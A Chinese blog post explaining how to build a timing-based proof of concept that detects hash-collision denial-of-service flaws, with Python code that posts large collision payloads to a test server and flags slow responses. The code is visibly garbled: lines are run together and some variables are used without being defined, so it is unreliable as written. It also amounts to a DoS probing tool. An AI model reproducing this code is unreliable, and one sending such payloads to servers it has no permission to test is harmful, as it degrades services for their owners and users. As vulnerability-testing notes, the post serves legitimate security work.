hash碰撞POC
hash碰撞POC:
该类型漏洞POC编写过程难点有二:
一. hash碰撞数据的产生或收集
二. 使用responseTime来判断是否存在hash,如何精确的得到
三. 如何估算出服务器的处理/响应时间,以用来判断是否存在漏洞。
github能找到hash碰撞的POC,使用python编写的
该POC生成hashcollision的算法思想:
1. 取一个随机数n,由n生成 k维的笛卡尔积
可以理解为k维的数组,如array[AA][BB][CC],计算后为“AABBCC”
2. 将所有数组的值取出来,设定hash算法,计算每个值在该hash算法下的hash值
3. 随机取一个数的hash值,再取出其他与该hash值相同的数,组成hash碰撞的payload
将payload放入POST数据中,使用socket发包,由发包后和接受完整数据后的时间差得出响应时间。
该POC的弊端在于,如果只是做检测,没必要每次都生成payload,只需要生成一次payload,就可以多次测试了。
另一个难点,如何准确的判断responseTime。
这一点以burpsuite的时间为准
以自己搭建的内网测试环境,代码为
<?php
$startTime = microtime(true);
$rest = file_get_contents("php://input");
$a=json_decode($rest,true);
?>
burpsuite中,不发送POST数据时间为10ms左右,发送正常的json数据时间为 100ms左右
而自己编写的代码,发送正常json数据数据时
1. 计算requests前后的时间差,会有很大的误差,发送数据的时间和接受的时间都会计入在内。而发送的payload较大,通常达到1M,所以时间上有误差。得出时间1300ms左右
2. requests的elapsed.total_seconds()计算得出的时间会比第一种方法少,为800ms左右
3. github上的POC,使用socket发送数据,截取recv前后的时间差, 时间在1200ms左右。
很难接近burpsuite得出的时间,我想主要是request将发送数据的时间计算在内了吧。
由此,可以估算发送数据的时间
time=(发送正常json的时间-不发送数据的时间) ,再 *4/5 (*4/5是估算去除掉服务器处理正常json时的处理时间)
设置判断存在碰撞漏洞的时间线 limit为
limit=发送正常json数据的时间-time(发送数据的时间)
在每一个payload发送的时间上减去 n/m*time()按发送数据的大小比例估算出的发送数据的时间)
如果超过划定的时间线,则可能为hash碰撞漏洞
经测试,可判断出自己搭建的环境上的hash碰撞漏洞。
测试仍然受网络速度影响。
存在许多瑕疵,仍然可以改进。
比如增加数据量,让服务器处理碰撞数据的时间倍增,则发送数据的时间比重缩小,影响降低。
最后贴上测试代码,其中的payload明天再贴上
payload数据还可以改进增加。
#coding:utf-8
import time
import requests
import jsonToString
import pycurl import thread class Test:
def __init__(self):
self.contents = ''
def body_callback(self,buf):
self.contents = self.contents + buf def timeOfRequest(url,data):
start=time.time()
#print data
try:
q=requests.post(url,data)
#print q.content
return q.elapsed.total_seconds()
except:
pass
end=time.time()
return 1000000
#return (end-start) def test_gzip(input_url,data):
t = Test()
#gzip_test = file("gzip_test.txt", 'w')
c = pycurl.Curl()
c.setopt(pycurl.WRITEFUNCTION,t.body_callback)
c.setopt(pycurl.ENCODING, 'gzip')
c.setopt(pycurl.URL,input_url)
c.setopt(pycurl.POSTFIELDS, data)
c.perform()
http_total_time = c.getinfo(pycurl.TOTAL_TIME)
return http_total_time
http_size = c.getinfo(pycurl.SIZE_DOWNLOAD)
print 'conn_time pre_tran start_tran total_time'
print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time) #print timeOfRequest(url,"normal")
def control(url,string,data):
#print string
return test_gzip(url,data)
#time=timeOfRequest(url,data)
#print time
#if time > 26:
# print "Probably have hashcollistion" def show(times,limit):
for name in times:
if times[name]>limit:
print "Probably have HashCollision==>",
print name+":",
print times[name] def check(url):
nulldata=open("null.txt","r").readline()
normaldata=open("normal.txt","r").readline()
phpjsondata=open("phpjson.txt","r").readline()
javajsondata=open("javajson.txt","r").readline()
phpdata=jsonToString.jsonToString(phpjsondata)
javadata=jsonToString.jsonToString(javajsondata) times={} print "NO THREAD"
times["null"]=control(url,"null",nulldata)
time.sleep(1)
times["normal"]=control(url,"normal",normaldata) #利用normal,算出发送大量数据的时间,所占比例约为 (normal-null)*4/5
time.sleep(1) trantime=(times["normal"]-times["null"])*4/5
base=times["normal"]-trantime
limit=base*13
print limit times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime
times["php"]=control(url,"php",phpdata)-1.36*trantime
times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime
times["java"]=control(url,"java",javadata)-2.3*trantime show(times,limit) if __name__ == '__main__':
url="http://10.252.223.15/test.php"
check(url)
# while 1:
# pass
hash碰撞POC的更多相关文章
- HashMap之Hash碰撞冲突解决方案及未来改进
说明:参考网上的两篇文章做了简单的总结,以备后查(http://blogread.cn/it/article/7191?f=wb ,http://it.deepinmind.com/%E6%80%A ...
- 解决Hash碰撞冲突方法总结
Hash碰撞冲突 我们知道,对象Hash的前提是实现equals()和hashCode()两个方法,那么HashCode()的作用就是保证对象返回唯一hash值,但当两个对象计算值一样时,这就发生了碰 ...
- [ 高危 ] hash碰撞DOS漏洞
这是一个很神奇的漏洞 hotel.meituan.com订单页面,POST提交的是一串json数据.当把这串数据换成json碰撞数据 后,服务器原本 100毫秒可以响应的数据包,变成需要30秒才能响应 ...
- 从头认识java-15.7 Map(4)-介绍HashMap的工作原理-hash碰撞(常常作为面试题)
这一章节我们来讨论一下hash碰撞. 1.什么是hash碰撞? 就是两个对象的key的hashcode是一样的,这个时候怎么get他的value呢? 答案是通过equals遍历table那个位置上面的 ...
- Python简单的CTF题目hash碰撞小脚本
Python简单的CTF题目hash碰撞小脚本 import hashlib for num in range(10000,9999999999): res = hashlib.sha1(str(nu ...
- 解决Hash碰撞冲突的方法
Hash碰撞冲突 我们知道,对象Hash的前提是实现equals()和hashCode()两个方法,那么HashCode()的作用就是保证对象返回唯一hash值,但当两个对象计算值一样时,这就发生了碰 ...
- HashMap为什么线程不安全(hash碰撞与扩容导致)
一直以来都知道HashMap是线程不安全的,但是到底为什么线程不安全,在多线程操作情况下什么时候线程不安全? 让我们先来了解一下HashMap的底层存储结构,HashMap底层是一个Entry数组,一 ...
- [转]Hash碰撞冲突解决方法总结
我们知道,对象Hash的前提是实现equals()和hashCode()两个方法,那么HashCode()的作用就是保证对象返回唯一hash值,但当两个对象计算值一样时,这就发生了碰撞冲突.如下将介绍 ...
- HashMap之Hash碰撞源码解析
转自:https://blog.csdn.net/luo_da/article/details/77507315 https://www.cnblogs.com/tongxuping/p/827619 ...
随机推荐
- Confluence 6 workbox 配置查询间隔
查询间隔在Confluence 服务器中的 workbox 被用来显示应用内通知和任务. 激活的查询间隔(Active polling interval) Confluence 将会等待多少时间(秒) ...
- vue-cli3初尝试之路径别名配置
let path = require('path') function resolve(dir) { return path.join(__dirname, dir) } module.exports ...
- 第十八单元 nginx服务
安装python 源 wget 网上下载 原码 编译 安装的流程 (gcc glic) 版本更新时起冲突,删除原版本(或者reinstall重新安装) 可执行文件运行 ./ 软连接 查看 ...
- Best Cow Line(POJ3617)
Description FJ is about to take his N (1 ≤ N ≤ 2,000) cows to the annual"Farmer of the Year&quo ...
- 弹框勾选datatable中的数据,点击保存后添加到另一个表中,同一个页面
需求描述:做编辑的时候,点击添加按钮,弹出数据表table2,勾选弹出框中的数据,点击保存后能够添加到table1中,并且已经被添加到table1中的数据,在弹出框中显示已选,checkbox隐藏:t ...
- Axure实现多用户注册验证
*****多用户登录验证***** 一.(常规想法)方法:工作量较大,做起来繁琐 1.当用户名和密码相同时怎么区分两者,使用冒号和括号来区分: eg. (admin:123456)(123456:de ...
- 总结Java虚拟机内存区域模型
本篇文章主要来总结一下Java虚拟机内存的各个区域,以及这些区域的作用.服务对象以及其中可能产生的问题,作为大家的面试宝典. 首先我们来看一下Java运行时的数据区域,Java虚拟机在执行Java程序 ...
- C程序的内存分配及动态内存
1.程序内存的分配 一个由C/C++编译的程序占用的内存分为以下几个部分:1)栈区(stack) — 由编译器自动分配释放 , 存放为运行函数而分配的局部变量. 函数参数. 返回数据. 返回地址等. ...
- HDU 1075 What Are You Talking About (stl之map映射)
What Are You Talking About Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 102400/204800 K ...
- DOM对象,控制HTML元素
认识DOM 文档对象模型DOM(Document Object Model)定义访问和处理HTML文档的标准方法.DOM 将HTML文档呈现为带有元素.属性和文本的树结构(节点树). 节点属性: 遍历 ...